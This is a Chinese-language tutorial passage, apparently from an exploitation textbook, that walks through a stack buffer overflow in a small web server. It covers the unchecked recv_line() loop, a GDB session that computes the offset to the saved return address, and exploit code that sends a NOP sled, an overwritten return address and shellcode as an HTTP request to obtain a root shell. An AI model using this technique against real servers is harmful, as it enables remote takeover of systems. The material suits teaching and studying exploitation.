網路程式設計往往搬動大量記憶體、充斥型別轉換——你已親眼見過某些轉型有多瘋狂。

藏在 recv_line() 裡的疏漏#

int recv_line(int sockfd, unsigned char *dest_buffer) {
#define EOL "\r\n"
#define EOL_SIZE 2
   unsigned char *ptr;
   int eol_matched = 0;
   ptr = dest_buffer;
   while(recv(sockfd, ptr, 1, 0) == 1) { // 一次讀一個位元組
      if(*ptr == EOL[eol_matched]) {
         eol_matched++;
         if(eol_matched == EOL_SIZE) {
            *(ptr+1-EOL_SIZE) = '\0';
            return strlen(dest_buffer);
         }
      } else {
         eol_matched = 0;
      }
      ptr++;
   }
   return 0;
}

用 GDB 分析(附加到執行中的程序)#

要利用 tinyweb.c,只需送出能策略性覆寫返回位址的封包。第一步是求出「我們控制的緩衝區起點」到「已存返回位址」的 offset。

有個棘手的細節:程式需 root 權限,除錯器也得以 root 執行。但用 sudo 或 root 環境會改變堆疊,使除錯器中看到的位址與正常執行時不符——這種不一致極難追查:除錯器裡看起來一切正常,離開除錯器卻失敗。

一個優雅的解法是:附加(attach)到已經在執行的程序

reader@hacking:~/booksrc $ ps aux | grep tinyweb
root  13019 ... ./tinyweb
reader@hacking:~/booksrc $ gcc -g tinyweb.c            # 重編譯以取得除錯符號
reader@hacking:~/booksrc $ sudo gdb -q --pid=13019 --symbols=./a.out

handle_connection() 第 62 行 recv_line() 呼叫處設中斷點,再從另一終端用 wget 或瀏覽器發請求觸發:

(gdb) x/x request
0xbffff5c0:     0x00000000
(gdb) bt
#0 handle_connection (...) at tinyweb.c:62
#1 0x08048cf6 in main () at tinyweb.c:48
(gdb) x/x 0xbffff7d4+8
0xbffff7dc:     0x08048cf6              # 已存返回位址
(gdb) p 0xbffff7dc - 0xbffff5c0
$1 = 540
(gdb) p /x 0xbffff5c0 + 200
$2 = 0xbffff688
  • request 緩衝區起於 0xbffff5c0
  • 已存返回位址 0x08048cf6 位於 0xbffff7dc,距緩衝區起點 540 位元組

緩衝區開頭幾個位元組可能被函式其餘部分弄亂(我們要到函式返回才取得控制),所以最好避開緩衝區開頭。跳過前 200 位元組是安全的,剩下 300 位元組放 shellcode 綽綽有餘——因此目標返回位址取 0xbffff688

「差不多」只在丟手榴彈時算數#

tinyweb_exploit.c 用 GDB 算出的 offset 與返回位址:

#define OFFSET 540
#define RETADDR 0xbffff688

bzero(buffer, 600);                      // 歸零緩衝區
memset(buffer, '\x90', OFFSET);          // 建 NOP sled
*((u_int *)(buffer + OFFSET)) = RETADDR; // 放入返回位址
memcpy(buffer+300, shellcode, strlen(shellcode)); // shellcode
strcat(buffer, "\r\n");                  // 以行結束符終止
send_string(sockfd, buffer);             // 當成 HTTP 請求送出

編譯後就能遠端利用執行 tinyweb 的主機,誘騙它執行 shellcode。

為什麼本地 shellcode 不夠:需要 port-binding#

伺服器端確實被攻陷、shellcode 也執行了,但這只在跑伺服器的那個主控台提供 root shell

Got request from 127.0.0.1:58504 "..."
 NOT HTTP!
sh-3.2#

弱點確實存在,但我們不在那個主控台前,這個 shell 對我們沒用。既然我們不在本地,shellcode 就只是一個自足的程式,設計來接管另一個程式開一個 shell。

一旦奪取程式的執行指標,注入的 shellcode 可以做任何事——不同情境有許多不同型別的 shellcode(也稱 payload)。雖然不是所有 shellcode 都真的生成 shell,它仍通稱 shellcode。

遠端利用時,本地生成 shell 毫無意義。Port-binding shellcode 會在某個埠監聽 TCP 連線、把 shell 遠端提供出去——這正是下一章的主題。